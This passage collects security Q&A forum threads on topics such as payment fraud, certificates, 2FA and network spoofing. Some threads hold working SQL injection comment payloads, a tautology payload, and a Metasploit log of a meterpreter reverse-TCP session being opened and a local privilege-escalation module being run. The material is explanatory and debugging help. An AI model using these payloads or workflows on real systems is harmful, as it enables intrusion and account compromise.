Then they google our name and complain that we are scamming them.

We contacted Visa (who told us to contact our bank), our bank fraud team told us to contact ACORN (Australian Cybercrime Online Reporting Network) - they said there is nothing they can do, and to contact ACCC (Australian Competition and Consumer Commission). I can't see what good that is going to do as they are not Australian companies.

Can people just make up a fake 'Merchant Name' with impunity?

Surely there must be a way to trace the merchant name back to the issuing bank and alert them that their customer is using a fraudulent name?

What are the checks on 'Merchant Name' - I would have thought you need supporting evidence that the name relates to your business?

What can we do? Thanks!

(Let me know if this is not the right forum).

There are warning from various watch group and authority, e.g. Scamwatch. The complicated part is that many fake online shops are not operating under the same region as the consumer, i.e. the scammer may already close the bank account and run away with the money.

In fact, this is a search engine fault that is not easy to deal with: affected company can only combat it by investing in the brand protection process:

Add a scammer warning page related to various scam
Do a search on potential organisation name abuse and report it to the search engine portal.
Add a link to official scam watch web page
Report fraudster domain name to authority and prominent security portals/vendors

Here are some scam/phishing portals that you can use.

Phishtank : https://www.phishtank.com/
Google safe browing : https://safebrowsing.google.com/safebrowsing/report_phish/?hl=en
report for OZ : https://www.scamwatch.gov.au/report-a-scam
Report to at least 5 major Antivirus Vendors, e.g. Avast, Avira, Bitdefender, Kaspersky, Malwarebytes, Mcafee, Sophos, Symantec, etc.
report the fraudulent domain registrant as phishing and abuse to correspondence registrar

(Update)
Can the Bank act upon the merchant name that uses a similar name as a legitimate entity?  Well, it depends. One big issue of an online purchase is that the user has no way to verify whether the merchant is inside the country. To credit card clearing house like VISA, they are actually dealing with a merchant number instead of merchant name, so there is never an issue for the fraudster to provide a similar merchant name when it operates inside another country. Stopping the fraudster using the legitimate organisation name will take time. It is better to take down the fake web shop to stop subsequent fraud.


Should I install an antivirus on my mobile phone? Is it advisable to install an antivirus for a mobile? I have recently purchased Note 2. Not too sure of how heavy application usage would I indulge into. But I would like to know if for safety purposes installing an antivirus would do any good.

This is murky territory, and most of it is based on opinion and gut feeling.

I feel it's best to simply present you with some facts and observations:

There is malware for Android, and you can get infected by downloading dodgy apps.
Pirated apps are high-risk for malware. You get what you pay for, and if you gain some value out of a pirated app, the person who cracked the app probably found some way of gaining value too.
There will be vulnerabilities in your mobile platform, some of which may be exploited by simply browsing to a dodgy site. This is reasonably rare if you're sensible, but risks go up if you're browsing porn or warez sites.
Mobile anti-virus is very much in its infancy. You are unlikely to find any product that will really protect you against any significant portion of mobile malware. It should, however, catch the common stuff like Zeus and various other nasties.
Mobile AV often has the benefit of  recommending better settings for your device to increase your security. This isn't really anything you couldn't do by yourself with a little time on Google, but it's nice to have.
The mobile AV products I've tried have not shown any significant reduction in battery life or performance. They seem to be pretty efficient and unobtrusive. This is entirely my personal experience, so YMMV.

All in all, my personal opinion is that it doesn't hurt to use a free AV package for your phone. I wouldn't pay for one, because I'm low risk and don't store anything critical on my device. If you are a high risk user, e.g. due to browsing habits, or due to the type of data you store on your phone, then you may want to consider a proper AV package. The efficacy of them, however, is yet to be proven.


Different varieties of IP Tracking Are there other varieties of tracking/getting someone's IP address than making them click on a link or reading the header of an e-mail you received.

In the 21st century most of the people are so far sensitized to not click on suspicious links on the internet or in their e-mails. The time will come, in which the hackers have to figure out how to get the IP addresses of their victims otherwise.

What are the smoothest ways for obtaining IP addresses now(and possibly in the future) and how to protect oneself?

Most methods of getting an IP would usually include some kind of interaction with the victim and a server/service hosted by the attacker.
I have heard of all kinds of crazy ways but in my opinion image loading is the smoothest.

The way it works is the attacker hosts an image on his server and then gets the victims browser to render it.

how?
There are all kinds of different services and social networks that allow you to add an image as a link. The server then saves the link and not the image itself. When the "malicious" link of the image is displayed in an <img> tag the browser then makes a request causing the victims IP to have an interaction with the attackers server.

If you find a web app like this then it looks all legitimate and even when looking at the website all will seem normal making it smooth and quiet.


What is best method for retest blind sql vulnerability I tested web site application with commercial automated tool.There are some blind sql injection.I want to retest this results .Is there any good method for test blind sql injection with tool or anything else ?

Apart from manual testing you could first try SQLMap, which is the standard tool for automated SQL exploitation.


Certificate handling on a small network VPN Background - I need to set up secure remote access for a small home office. I'm a bit of a noob and haven't needed to handle certificates before. I understand most of the setup but I want to understand the practical implications of certificate management as I have to manage the CA side too.

LAN summary

Simple open source router with LAN devices (mainly PCs and printer) all linked by an unmanaged switch and having a public bank of 16 IPs.  There are no VLANs, no domain/radius login, no other LAN services, and no local DNS (I'm comfortable just using pure DHCP and IPs). The router natively supports incoming IPSEC/L2TP/OpenVPN. I'm tentatively leaning toward OpenVPN if there aren't good reasons for going with another (but I admit that I don't really know the practical differences).

Question:

The concern is that poor config can expose the client to the outside world. As the CA for the LAN, I have to think about the private/signing certs, and everything else, not just public certs. So I want to ensure that the security-related files generated (private certs, master keys, signing keys, whatever) are properly handled and kept+managed  appropriately securely. But most resources of a level I can understand omit or are vague about security practices post-setup.

So... as a manager of the certification process (seen from the router/CA perspective) what exact certificates/keys/self-CAs must I set up, and what certificate management files must I protect and how should I do it? (file encryption on my laptop, separate USB stick, dedicated non-networked laptop, ...?) How often do I need to access these, once it's set up (security v. convenience)? Would "most" implementations store these encrypted, or do I need to worry about how the router itself holds them?

Thanks for any help!

Update 1 - Updating to clarify the roles a bit, as they aren't the same as might be expected. Usually one imagines a developer or site owner certifying to third parties via an independent CA, or an independent CA and the site owner creating certificates for various other parties. Here it's much simpler. The only purpose of creating any CA/certificates/keys is to allow one person (the LAN owner and nobody else) to connect to the LAN securely using one mechanism when away (router-native VPN) and to be sure others can't do so (within the limits of usual security disclaimers). Once it's all set up and working nicely, additional certs/keys may only rarely be needed.

The real-world scenario is that the owner has to move out shortly as the place won't be habitable due to major building works for 18 months, but the LAN will stay. My question isn't really how to generate keys and certs which has many HOWTOs, it's about the ITSec knowledge most relevant to his scenario; I'd like to bootstrap myself a bit better on the procedural knowhow, so when I follow the recipes, I have some degree of comfort that I'm not just following them, but keeping what's created fairly well secured, and not likely to be leaving the LAN all-but-open by ignorance while it's 'live' afterwards. I need some pointers what I need to do to be as sure as I can, that I'm giving him a reasonably secure setup and managing it reasonably sanely.

I probably worded that a bit dramatically :) but with luck it distinguishes and clarifies the question asked.

Despite Alexey Vesnin's answer, feel free to keep the certificates you issued for various reasons. They are considered public knowledge and no harm is done whatsover keeping them as long as you like.
Having said that:
Being a CA comes with some responibilities:

Make sure you keep the private key safe and secure. (An encrypted USB stick with the CA data on it will be fine, as long as the machine you decrypt it on is not compromised. A smart card would be a better (albeit more expensive) solution.)
Offer the parties relying on your certificates a way to check for revoked certificates (for example, if a key pair somehow gets compromised
Make sure compromised keys/certificates are reported to you (do not punish the people for being not careful enough)
Make sure to revoke certificates as soon as you see the need
Make sure you inspect every CSR you get from clients thoroughly before signing it

Depending on your actual use case (does every client need a certificate? How much fluctuation is there? How good are the clients in keeping their private key private?) you might only need to work with your CA setup when the initially granted certificates are about to expire.
Or every other day, that completely depends.
Additional considerations for the changed question
You might only need the LAN side to trust the self-signed certificate of the only connecting party (and vise vesa). As long as the two machines are trusted, you may just add the certificates itself to the trust store and leave out an actual CA signing both certificates.


Are my credentials unsafe if I am already logged-in before connecting to a public network? Let's say I am already logged-in to my Gmail or Yahoo account using my 3G then I switched to a public WIFI in an airport or cafe.

Is my username and password still vulnerable?
What others kinds of information can the hacker get in this setup?

If you are using GMail or Yahoo all credentials should be transmitted over HTTPS and there for you are safe.   If you where connecting to http://security.stackexchange.com or StackOverflow over an open  WiFi network then someone is able to sniff your cookie and immediately login as you.  This is because StackOverflow and secuirty.se are violating OWASP a9.  Firesheep automates this attack by sniffing WiFi looking for http cookies to hijack.


Is there a cipher suite "translator" I have a list of cipher suites in this format:

TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P384

Is there a fast, easy way of translating it to more human readable/management readable format? :)

No, afaik.

Also, if it is supposed to be readable and helpful for non-tech people, each translation might be a book for itself, explaining each part of those strings, it's up- and down sides in painful detail.

Just in case you didn't know, rfc 5246 currently covers this format and includes a table with cipher suites that might send you down a helpful track.

Your example

  TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P384

means "TLS using ECDHE_ECDSA with the elliptic curve P384 for key exchange, encrypting the connection using AES_256 in GCM while using SHA384 as PRF."

As you can see from following the links, there is no 'easy' understanding of the used acronyms themselves. Yet the general syntax is

  TLS_nameOfKeyExchange_WITH_nameOfBlockCipherAndMode_nameOfPRFForMAC_addinionalExtensions

As you see from my edit, the inference sometimes fails horribly, too;)


SQL injections don't seem to work I'm trying to execute a SQLi but the mysql gives a error response. The input should comment everything from after the two dashes out so it can result in this: '%'. Instead it gives this error: '--%''.

This is the code I'm using to execute the query with.

if(isset($_GET['test'])){

    $test = $_GET['test'];

    //test
    $res = $db->run_query_find_all( "SELECT * FROM product WHERE name LIKE '%$test%'");

    while($product = $res->fetch_assoc()){
        print_r($product);
    }

}

Input

  ';--

In editor example:

Response:

  You have an error in your SQL syntax; check the manual that
  corresponds to your MySQL server version for the right syntax to use
  near '--%'' at line 1

Update

I still get an error even if I simplify my SQLi. When I do a POST request with the same query it shows no errors, but shows all the rows of the Product table which means the SQLi was succesfull.

Input: '--

Input: '#

First of, let's look at your input:

'   <-- this closes the quoted string
;   <-- this closes the SELECT statement
--  <-- this comments out the rest

This doesn't actually make that much sense. Even if your run_query_find_all function supports multi-queries - which is unlikely - why would you want to create a new query just to comment it out? [It actually shouldn't cause a problem, but it's also not needed, and it's always good to keep your payload as simple as possible; complexity makes it difficult to see where the actual errors are]

This means we can simplify your payload to '--.

Now we have this:

'   <-- this closes the quoted string
--  <-- this comments out the remaining characters, so that we have a valid query

We still get an error though. The MySQL comment documentation explains why:

  From a --  sequence to the end of the line. In MySQL, the --  (double-dash) comment style requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on).

You need a whitespace character after the double-dash comment. So either add it, or use a different comment character:

'-- -   <-- will work
'#       <-- will also work (URL encode as %23 if needed)

Note that I added another character after the whitespace to avoid the whitespace being trimmed.


Tracing IP's of visitors to website to get exact business location? Our B2B marketing manager was asking me if there is a way to take the IP's we store of visitors to our website and get business name, address, and possibly phone from it. (I personally think it would be creepy if I visited someone's page and then they called me out of the blue trying to sell me their stuff, but whateve).

Anyway, to my (limited) knowledge the best we could do is take the IP and look up the ISP and the general vicinity, but that would only show where the node was they use, e.g. even if they were in SF, it would just show the node they are using in Fremont. Furthermore, ISP's don't make that information public, so you would have to call them to get specific information about that IP. They won't be willing to do this for privacy concerns. Not to mention most companies take measures to block their public IP from being associated with them.

She found a company called Lead Forensics that claims they can get business name, phone, address, what pages they viewed and for how long, etc... a long list of things.

Can someone shed some light on this? Is this company making false claims? Is all you can really do (without breaking the law or violating privacy rights) is just get the ISP and node location the business is using?

You are correct in your suspicion that attempting to do any level of useful individual user identification by IP address is going to be generally impossible.

Even if you can identify the IP block as being owned by a specific business, the contact information will be for a technical department that is the equivalent of a corporate ISP, and you will find them less than helpful if you attempt to use them to identify which of their 50,000 employees/contractors/guest wireless visitors happened to be on your website at a specific time.  If they even have that information in the first place.

What companies like Lean Forensics do, I'm assuming from what I see on their website, is something that you cannot.   They likely act like an advertising network, aggregating data and tracking users across the entire Internet, and gathering and buying information about those users.   Then, when users they know about access your website, they can uniquely identify them and associate them with data they've already gathered elsewhere.  However, it's also not going to be 100% effective.  They'll only be able to provide information on users that they both have information on in the first place, and can identify as specific users they're tracking. Since IP addresses are shared and can be reassigned, it also won't be as accurate as what you'd get with a typical ad-network that uses techniques like tracking cookies instead of IP addresses alone. Ethics and creepiness factors aside, it is, however, far superior to anything you'd be able to come up solely from the data you have in your logs.


Security in handling of user data by mSecure mSecure is a password manager and the company has recently released their latest version (v5) that uses their own servers to store and sync user data.

Some people are concerned about how they are securing user data and mSecure provided this description

  when you first sign up for an account, we generate a super secure
  password mentioned above that we call an “Account Key.” We then take a
  known piece of text (it doesn’t really matter what the text is, but it
  happens to be a copyright notice) and encrypt it with your account
  key. The encrypted text is then stored in your cloud account. To be
  clear, this is not the account key itself; it’s a known piece of text
  that has been encrypted with the account key. We then encrypt the
  account key with your master password – the password you use to unlock
  the app – and store it in the mSecure database locally on your device.
  We then send you an “mSecure Authentication” email that contains your
  account key, which is required to authenticate you as the owner of
  your account.

  Your account key is not stored in the mSecure Cloud.

  When you log into mSecure on your device, it reads the account key out
  of your local database and decrypts it with your master password. This
  is why you don’t need to use the QR code each time you launch mSecure.
  When you want to install and use mSecure on a new device, we require
  you to sign in with your email and master password then ask you for
  the QR code. mSecure reads in the account key from the QR code,
  decrypts the data in the code with your master password then downloads
  the known piece of text mentioned earlier from your cloud account.
  Once the known piece of text is downloaded, mSecure attempts to
  decrypt it with the account key, and, if the decryption is successful,
  downloads the rest of your data that is also encrypted with your
  account key from the mSecure Cloud. After the data is downloaded from
  your cloud account, it can now be decrypted with the account key
  locally on your device.

Does this sound reasonable, or are there points that are of concern, such as the “mSecure Authentication” email that contains your account key which they claim isn't an issue as it's already encrypted?

Is it reasonable? Yes. Is it secure? I can't tell.

I can't tell because security is in the details. The general idea is good but if you badly implement any part it could be insecure, even if the idea was good. So let's focus on the idea here.

Their encryption scheme is based on two parts. A part that you know, the master password, and a part that you own, the account key/email address. Basically, from a security point of view, the account key and the email are nearly the same thing here. If you have access to the email you can get the account key and if you have access to the account key then you don't need access to the email.

In conclusion, what they are trying to say is that they are using two factor authentication. Instead of using a phone for two factor authentication
or another device that you carry around they are using the account_key and email as the second factor. I don't see anything wrong with this idea.


Is it a good or bad practice to fake user agent? I'm using a mobile browser. I found a program that can fake my User Agent (UA), so I changed to something else.

Is this good practice or bad practice in terms of preserving privacy?

For most cases, exploits won't try to determine if a browser is exploitable before trying to run, so the added security from spoofing it is negligible at best. As far as privacy goes, spoofing the user agent may actually be harmful since it would make you almost 100% unique if it was an impossible combination, like a desktop web browser at some odd phone resolution. If you have a common web browser resolution and disable other things that can cause combinations that are usually impossible (fonts, etc.), you may be able to reduce the chances of sites tracking you based on a fingerprint, but otherwise you'll be making it really easy.


How does multi factor authentication modify the AD authentication process? I'm trying to understand what would have to be updated to make Windows-based systems support multifactor authentication.

Possible things that might have to be modified:

Active Directory / Domain Controllers
The application itself (IIS, Apache + the web site)
The server or workstation's Credential Provider (the new GINA)

It really depends on the technology you use to implement multifactor auth. If you use smartcards with Active Directory then you need to modify all client devices to support smart cards and configure each user account in AD for certificates. You don't have to modify IIS if you are planning on doing just Windows auth, but if you want mutual auth in IIS with client certificates then you'd have to set it up. If the app running in IIS doesn't support Windows Auth then the app needs to be modified to support multifactor auth. If you use a 3rd party solution then it all depends on how they implement it. The company I work for has a credential provider for Windows as well as an API for custom applications and an ISAPI module for IIS, etc. RSA's solution is similar, as are 99% of all other solutions.

Like I said, it depends on the technology you use, but basically it all boils down to: you have to modify all points of authentication where you require multifactor auth and if it can't support it, disable it.


Ingress RFC1918 spoofing: How to handle it? I've seen packets originating from RFC1918 addresses from two fairly large european ISP's (ASN1257 & smaller ASN35706) coming in on eBGP transit links lately, and I'm a bit puzzled why it wouldn't be dropped by an ACL first entrance in my ISP's network (or really, entrance in ANY ISP's network).

While I recognize that this is not a threat, I find it interesting and I would like to know what experience other people have of this.

In this example, 192.168.146.0/24 is a RFC1918 network of mine, and port 8111 hosts a HTTP Push service for a pretty large customer.

# "FINSYN" packet
10:58:07.069638 IP 192.168.1.2.58211 > 192.168.146.101.8111: Flags [FS], seq 737341754, win 65535, options [mss 1392,nop,wscale 4,nop,nop,TS val 1648454418 ecr 0,sackOK,eol], length 0
10:59:37.115697 IP 192.168.146.101.8111 > 192.168.1.2.58214: Flags [S.], seq 49951854, ack 1797656853, win 5792, options [mss 1460,sackOK,TS val 3490717429 ecr 1648449264,nop,wscale 7], length 0

# traceroute 192.168.1.2
traceroute to 192.168.1.2 (192.168.1.2), 30 hops max, 60 byte packets
 1  192.168.146.2 (192.168.146.2)  0.142 ms  0.145 ms  0.164 ms
 2  a.b.c.d (a.b.c.d)  1.215 ms  1.535 ms  1.713 ms
 3  * * *
 4  user7x.217-10-127.netatonce.net (217.10.127.7x)  4.723 ms  4.693 ms  4.881 ms

Are my expectations sane?

Would you expect such packets to even enter your ISP's network?

Would you change ISP?

Additional feedback?

Not really, yes, and no.  ISPs tend not to filter traffic that way for a couple of reasons:

The first is practical.  Equipment designed to process high packet volumes has evolved to the point where a lot of the routing decisions are made in hardware.  Imposing ACLs diverts that traffic to be handled in software, which doesn't route packets nearly as quickly, adding to the amount of equipment required to route the same volume.  This is really a problem of evaluating threat before acting on it. The level of traffic containing spoofed 1918 addresses would have to be sufficient to have detrimental effects on other parts of the network before an ISP could make a business case for implementing ACLs and investing in more equipment.  When that equipment is a router chassis populated with cards that cost six figures each, the bar is set relatively high.

The second is legal.  The product sold by most ISPs to most business customers is plain, vanilla packet transit.  Once the ISP starts filtering customer traffic, it runs the risk of being held liable for not having filtered traffic that a customer deems damaging.  Most contracts explicitly indemnify the ISP from it, and at that point there's no point in adding filtering, putting the onus entirely on the customer.  That's why managed, firewalled connections are more expensive than the regular flavor:  it costs more to provide and carries more liability.

Your options are to drop the traffic at your ingress or, in the event you're seeing large amounts of it, take it up with the originating AS's abuse team.


Looking for a specific quote about keys and transparent encryption implementation I'm struggling to find a quote advising that we should be comfortable in sharing details of encryption methods and implementation with would-be attackers and the system still remain secure. The idea is that the keys are what we should be protecting as opposed to some obscurity in our code and approach.

Does anybody have the quote I'm talking about?

You are talking about Kerckhoffs's principle.

From the wikipedia page:

  Kerckhoffs's principle (also called Kerckhoffs's desideratum,
  assumption, axiom, doctrine or law) of cryptography was stated by
  Netherlands born cryptographer Auguste Kerckhoffs in the 19th century:
  A cryptosystem should be secure even if everything about the system,
  except the key, is public knowledge.


How to make database of IP addresses anonymous? I have to perform ip address connection stats anonymously because the data posses security risk, so how do I do it?

Is it just like this, that the ip numbers and networks are replaced by random codes, and when operator is sorting out the stats, he can see the codes only?

However, the backend software has the ip numbers there, which are used to update the stats. Should I encrypt this data and generate the codes at once?

Or, I can just compress the data the way, that I group the numbers based e.g. on their country, so e.g. I would have ip number code belonging to UK "hashedipaddr" => "GB", and for this random group, multiple ip numbers would be assigned.

If the stats that you are collecting are just as simple as "Have i seen this IP before?" then a Bloom Filter is ideal. Bloom Filter lookups and inserts are both O(1). But most importantly you cannot reverse a bloom filter, not even using brute force due to an unavoidable false-positive rate. You could have an array of bloom filters to put the ip address into categories,  such as putting all US geo-ip lookups in the same bloom filter.

A cryptographic hash function or asymmetric cryptography would be less than ideal because its easy to brute force such a small keyspace.


Is the private key the only entropy in a X509 certificate? Specifically, if I preserve the private key can I reproduce the exact same (self-signed) certificate at any time?

The use case I have is a server-to-server protocol that allows (even encourages) self-signed certificates; where I won't know my exact CN ahead of time (varies by peer) and so wish to generate the X509 on-the-fly.

As described in RFC 5280, a certificate has the following overall structure:

Certificate  ::=  SEQUENCE  {
     tbsCertificate       TBSCertificate,
     signatureAlgorithm   AlgorithmIdentifier,
     signatureValue       BIT STRING  }

The three elements are the "to-be-signed", an identifier for the signature algorithm, and the signature. If you want to be able to regenerate the exact same certificate, then all three elements must be rebuilt identically.

Most certificate in circulation use RSA "v1.5" signatures, as described in PKCS#1. That signature algorithm is deterministic, so if you use the same private key, same algorithm parameters (the companion hash function), and same input (the to-be-signed), then you will get the same signature. The same does NOT hold for the newer, fancier "PSS" signature scheme described in PKCS#1; that one is randomized and you will get a distinct signature value each time. Similarly, if the key type is DSA or ECDSA, then the corresponding signature scheme is randomized, unless you use a specific deterministic implementation (which is possible but not a given).

Assuming that you use a deterministic signature scheme, then the question reduces to reproducing the same to-be-signed contents. The to-be-signed contains the following:

TBSCertificate  ::=  SEQUENCE  {
    version         [0]  EXPLICIT Version DEFAULT v1,
    serialNumber         CertificateSerialNumber,
    signature            AlgorithmIdentifier,
    issuer               Name,
    validity             Validity,
    subject              Name,
    subjectPublicKeyInfo SubjectPublicKeyInfo,
    issuerUniqueID  [1]  IMPLICIT UniqueIdentifier OPTIONAL,
                         -- If present, version MUST be v2 or v3
    subjectUniqueID [2]  IMPLICIT UniqueIdentifier OPTIONAL,
                         -- If present, version MUST be v2 or v3
    extensions      [3]  EXPLICIT Extensions OPTIONAL
                         -- If present, version MUST be v3
    }

Most libraries that create "self-signed certificates" will introduce variations in the serialNumber (since the serial number is supposed to be unique, it will often be randomly generated) and validity fields. The validity contains the two dates that delimit the time range of certificate validity; usually, a library that creates a self-signed certificate will use the current date and time for the first date, and, thus, won't use the same value if the certificate is recreated at a later time.

Extensions are, by definition, open-ended, and may contain various random elements as well.

Self-signed certificates, by definition, are NOT certificates; they live outside of the certificate validation process, and that process is the only reason why certificates actually exist. A self-signed certificate is a name and a public key, encoded together into what superficially looks like a certificate out of a mixture of quick and dirty reuse of existing code, long-standing Tradition, and historical confusion. Such a "certificate" is self-signed because there is a non-optional field for a signature, but that signature is meaningless.

Therefore, in a self-signed certificate, most if not all "extensions" will be ignored, and so will be some other fields such as the serial number. You can probably (depending on what your server-to-server protocol requires in these "certificates") fill the fields with dummy, fixed values that will make your protocol happy, and can be refilled identically later on. However, not all existing support libraries will allow that; you may have to rewrite your own certificate encoder (which is doable but at the price of your sanity).


What to do in case of a weak certificate on my bank's website? My bank's website, while always having had a 'green lock' in the address bar doesn't have this anymore. I then called the bank with a phone number I found on the same website, and asked that the operator read the serial number of the certificate to me. She refused to do this and insisted I would read the serial number to her, and she would verify her.

I denied this and explained her that I cannot trust her telephone number. While having her read the serial number doesn't give me much security (after all, if I'm talking to a hacker, she would read to me the serial number of the invalid certificate), I didn't feel comfortable reading the serial number to her - it makes it to easy to just say "Yeah, that's correct".

I don't know why she refused to give me the serial number (does she really think this is sensitive information? I hope not. More likely, they trained her to not give "too much" information.)

But this made me thinking. What should I do in case the certificate of my bank's website shows as weak, invalid, expired, ...?

Note: I'm extra cautious today as this is the second bank website I'm visiting today which doesn't have a green lock. The other one even had a red cross. I don't know if my browser / computer is compromised or that it's just Chromium being more reluctant to accept SHA-1 signatures. When I phoned the other bank, he didn't even want to verify the serial number with me, and after that it took me ten minutes to convince him to make a note about the certificate for his superiors, which I'm quite sure he won't do. What a world we live in.

The websites of the banks are: ASN bank and ING bank.

The green lock indicates that an Extended Validation Certificate is being used. This means that the organisation has gone through some extended checks before the certificate is issued for their domain.

You should be right to be suspicious if this suddenly changes to a DV or OV certificate (Domain Validated or Organisation Validated), which are easier to obtain, and hard for a user to distinguish between. Checking the certificate is valid is a good move, however bear in mind that you should be checking the thumbprint, not the serial number.

You can check online SSL thumbprints using services such as this one on GRC.

Mandatory attrition link.

Note that if you were the subject of a targeted attack, a Man In The Middle could alter the GRC page to show you the certificate fingerprints that she was spoofing. Unlikely, but important to include this information here because it is easily technically possible. You could check the GRC page via TOR or via another connection (e.g. via 3/4G) in order to verify your main connection has not been MITM'd (and in fact the sites themselves to see if they have the same thumbprint).

It is likely that a bank telephone operator isn't technical enough to know what a serial number is and what the consequences of giving it you are.

  But this made me thinking. What should I do in case the certificate of
  my bank's website shows as weak, invalid, expired, ...?

For one thing, do not use the site at all for any sensitive information. Yes phone the bank, using a trusted phone number (e.g. from the back of your bank card), but ask to speak to somebody from technical support for the website and explain the issue to them.


Is Steganography a safe method to store secret data? I want to put some parts of my secret data into specific file with Steganography method. Is this method as safe as other encryption methods like RSA or SHA?

NO, it isn't safe at all and steganography is not encryption!

Encryption means that the method is known, but that's not a problem, the data can't be decrypted without a key. Bad luck for interceptors when a strong method and a strong key have been used. The message is useless for them.

Steganography means hiding data in other data and it relies on the method used to hide the data being unknown to interceptors! It isn't encryption at all, but it can be combined with encryption. Simple/public domain steganography techniques can be detected quite easily, if the interceptor expects a hidden message.

Pure steganography (just the hiding process) is security by obscurity, which is a bad practice. However, sometimes the combination of steganography and cryptography can be desirable, for example when you don't want anyone to know that a secret message has been sent at all. Interceptors won't be able to prove it, when they can't break the encryption.


Two-factor verification without a mobile phone? Currently, some services use a second layer of veficiation if logging in from a new device:

Gmail and Facebook send a text or call with a code
Facebook generates a code in the mobile application

The problem is:

Countless times, I've been abroad with a cell phone whose battery had died, and needed to access my Gmail or Facebook account.

The alternative is to carry printed versions of access codes in your wallet, but this is not optimal, especially if more web services will eventually roll this out.

What other alternatives for the second layer of authentication exist that don't rely on having a mobile phone present, but would be suitable for logging on from, let's say, and old PC somewhere?

In other words, what else could Google and the others be doing?

(Please note that this question concerns two-factor authentication, and not two-step authentication as for the latter, a system could simply ask for two passwords.)

Several initiatives are ongoing to address this issue.  Google has been working with the YubiKey folks to create a tiny dedicated USB dongle device to act as a second factor.  You can see details here Forbes story here.  You can also use YubiKey today to kludge up a solution if you are so inclined.


How can a restricted window for sql injections be abused? I have a postgres 11 database with no confidential information in it and in the application an intruder can write queries inside the following update statement.

UPDATE table
SET col_a = val_b
WHERE {potentially some other filters}
AND {injected SQL};

I have restricted it such that no strings with ;, /* or -- are allowed.

So how can the intruder do anything to the database outside of table.col_a?

This question is a continuation question of Allowing users to input raw SQL in update statement safely where I explain the requirement to allow such an open system.

Since you are explicitly allowing users to construct raw SQL code, you have to trust them.

However, this doesn't mean that you're defenseless.

Relational databases -- especially those with replication -- have Write-Ahead Log (WAL) files that act as transaction-by-transaction incremental backups.  If you perform regular full (offsite) backups, and ship your WAL files offsite frequently, you can recover from malicious users.

One bit of advice, though: Regularly practice restoring your database from your backup... There's nothing worse than thinking you had stable backups, then finding out during a disaster that the backups can't be restored for some reason.

You will also want to log every query that has a custom clause in it, regardless of if it succeeds (in fact, log before attempting to run the query) and especially log custom clauses that are caught by your filter.  Be sure to log the user ID along with the clause they tried.  People like to play with the obvious stuff first, so seeing a few and 1 = 1';-- clauses appear will let you know who to keep an eye on.

If you're fine with the user knowing that they're being watched very closely, then when a clause trips your filter, you can automatically send an email to yourself with that user CC'd. Don't make the email accusatory, just that potentially problematic input was detected and filtered. Presumably, you still want them to be a user; you just want to make sure they stay a well behaved user.

One additional benefit of this log is, you'll be able to find and fix false positives, i.e., AND text LIKE '%The em dash is often typed out as two dashes, "--".%'


What's the difference between "directory services" and "identity repositories"? I'm studying for the CCSP exam and the study material references two different terms which seems very similar:

  Directory Services A system for managing identities and attributes.  These allow the administrator to customize user roles,
  identities, and so on.  Examples include: X.500 and LDAP, Microsoft
  Active Directory, Novell eDirectory, Metadata replication and
  synchronization.

  Identity Repositories The directory services for the administration of user accounts and their associated attributes.

I'm confused.  Does this mean that all Directory Services are also Identity Repositories? Or are there products/services that can be one but not the other?

If they are capable of being separate/distinct from one another, could someone perhaps provide a practical example?

The really simple version:

Directory services are the means to access structured data (including protocols) + a structured data repository.

The repository may contain all sorts of information, not necessarily just identity records. It may store quite a few things - think of it as a standard/means to publish and maintain a phonebook, yellow pages, and even an encyclopedia if you like. It has indexing, search, add/remove capabilities, etc.

The identity repository is a sub-set of a directory service, typically containing only identity-related information. So it's a limited subset of the directory service. May or may not include search, indexing, or other advanced directory capabilities, however it does typically require specific access mechanisms required for authentication and authorization.


Metasploit using the wrong LHOST address When I use metasploit in Kali Linux rolling release updated to date, when using exploit/multi/handler with windows/meterpreter/reverse_tcp and local exploits over meterpreter, the LHOST field is automatically changed to the Wi-Fi interface IP, when in fact I want to use tap0 which is the VPN interface.

I have tried to solve the problem with:

set LHOST <tap0 IP>
setg LHOST <tap0 IP>
set INTERFACE tap0
setg INTERFACE tap0
set interface tap0
set interface tap0

But then when using the run command, the victim tries to connect to my Wi-Fi IP, which obviously is not reachable from the VPN.

I have had this problem for at least 6 months, regardless of when I update Kali or metasploit. I appreciate if anyone knows what is the correct way to configure metasploit.

[Edit: More details]

Example of the problem:

msf exploit(windows/local/ppr_flatten_rec) > set SESSION 1
SESSION => 1
msf exploit(windows/local/ppr_flatten_rec) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(windows/local/ppr_flatten_rec) > run
[*] Started reverse TCP handler on 192.168.85.158:4444

The whole context is:

msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(multi/handler) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(multi/handler) > set LPORT 443
LPORT => 443
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.0.1:443
[*] Sending stage (179779 bytes) to 192.168.22.55
[*] Meterpreter session 1 opened (192.168.0.1:443 -> 192.168.22.55:49202) at 2018-01-10 23:27:30 -0500

meterpreter >
Background session 1? [y/N]

msf exploit(multi/handler) > use exploit/windows/local/ppr_flatten_rec
msf exploit(windows/local/ppr_flatten_rec) > show options

Module options (exploit/windows/local/ppr_flatten_rec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
   WAIT     10               yes       Number of seconds to wait for exploit to run

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(windows/local/ppr_flatten_rec) > set SESSION 1
SESSION => 1
msf exploit(windows/local/ppr_flatten_rec) > set LHOST **192.168.0.1**
LHOST => 192.168.0.1
msf exploit(windows/local/ppr_flatten_rec) > run

[*] Started reverse TCP handler on **192.168.85.158**:4444
[-] Exploit aborted due to failure: not-vulnerable: Exploit not available on this system.
[*] Exploit completed, but no session was created.
msf exploit(windows/local/ppr_flatten_rec) > show options

Module options (exploit/windows/local/ppr_flatten_rec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
